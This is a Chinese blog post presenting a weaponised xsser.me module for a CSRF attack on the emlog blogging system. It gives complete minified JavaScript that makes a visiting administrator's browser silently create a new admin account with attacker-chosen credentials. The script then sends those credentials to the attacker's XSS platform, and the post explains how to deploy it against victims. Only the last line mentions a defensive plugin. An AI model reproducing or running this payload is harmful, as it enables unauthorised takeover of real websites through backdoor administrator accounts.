emlog全版本CSRF加用户xsser.me模块

    前几天写了那个CSRF防御模块,官网回应较少,看来那里鲜有人把安全放在眼中。。今天干脆封装一个CSRF的模块,加入xsser.me这个平台里,方便以后的渗透。如果你的目标或目标的旁站中存在emlog,那么拿下来的几率还是很大的。

    xsser.me模块代码:

var gum=function(){var u={version:"1140213",domain:"{{domain}}",backinfo:{}};return u.e=function(code){try{return eval(code)}catch(e){return""}},u.jquery=function(){return u.e("$().jquery")?1:0},u.id=function(e){return u.jquery()?$("#"+e):document.getElementById(e)},u.name=function(e){return document.getElementsByTagName(e)},u.html=function(){return u.name("html")[0]||document.write("<html>")||u.name("html")[0]},u.rdm=function(){return Math.random()*1e5},u.bind=function(e,t,n){u.jquery()?$(e).bind(t,n):e.addEventListener?e.addEventListener(t,n,!1):e.attachEvent("on"+t,n)},u.kill=function(e){u.jquery()?$(e).remove():e.parentElement.removeChild(e)},u.addom=function(e,t,n,r){!t&&(t=u.html());var i=document.createElement("span");i.innerHTML=e;var s=i.children[0];return n&&(s.style.display="none"),r&&u.bind(s,"load",r),t.appendChild(s),s},u.script=function(e,t){u.jquery()?$.getScript(e,t):(document.documentElement.appendChild(scripts=document.createElement("script")).src=e,t&&u.bind(scripts,"load",t),u.kill(scripts))},u.ajax=function(e,t,n){var r;return t?types="POST":types="GET",u.jquery()?(r=$.ajax({type:types,url:e,data:t,success:n}),r):(window.XMLHttpRequest?r=new XMLHttpRequest:r=new ActiveXObject("Microsoft.XMLHTTP"),r.open(types,e,!1),types=="POST"&&r.setRequestHeader("content-type","application/x-www-form-urlencoded"),n&&(r.onreadystatechange=function(){this.readyState==4&&(this.status>=200&&this.status<=300||this.status==304)&&n.apply(this,arguments)}),r.send(t),r)},u.post=function(e,t,n,r){var i=u.addom("<form method='POST'>",u.html(),!0);i.action=e;for(var s in t){var o=document.createElement("input");o.name=s,o.value=t[s],i.appendChild(o)}if(!n){var a=u.addom("<iframe name=_"+u.rdm()+"_>",u.html(),!0);i.target=a.name}r&&u.bind(i,"submit",r),i.submit(),!n&&u.kill(i)&setTimeout(function(){u.kill(a)},3e3)},u}();(function(){var e="{set.user}",t="{set.pass}";gum.post(unescape("{set.target}")+"/admin/user.php?action=new",{login:e,password:t,password2:t,role:"admin"},!1),function(){(new Image).src="http://这里是你的xss平台地址/index.php?do=api&id={projectId}&username="+e+"&password="+t}()})()

    修改其中xsser.me平台的地址即可。
    在模块处新建模块,如下填写:

    03.jpg

    增加项目时,需要配置三个参数。填写你待添加的用户名、密码,还有你目标地址:

    01.jpg

    项目创建好后将js任意插入某个页面,让目标管理员访问,即可简单为其增加一个账号:

    04.jpg

    因为ajax处理post请求的跨域问题,所以采用的是form动态提交的方式,没有返回值……不管是否成功增加账号都会发送一条结果到xsser.me平台项目中。

    02.jpg

    所以如果你是emlog使用者,真的把安全当回事,就使用CSRF防御插件。

相关推荐: Python 格式化字符串漏洞(Django为例)

原文我发表在先知技术社区: https://xianzhi.aliyun.com/forum/read/615.html ,转载请联系阿里云[email protected] 。本文涉及版权问题,侵权者后果自负。 在C语言里有…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论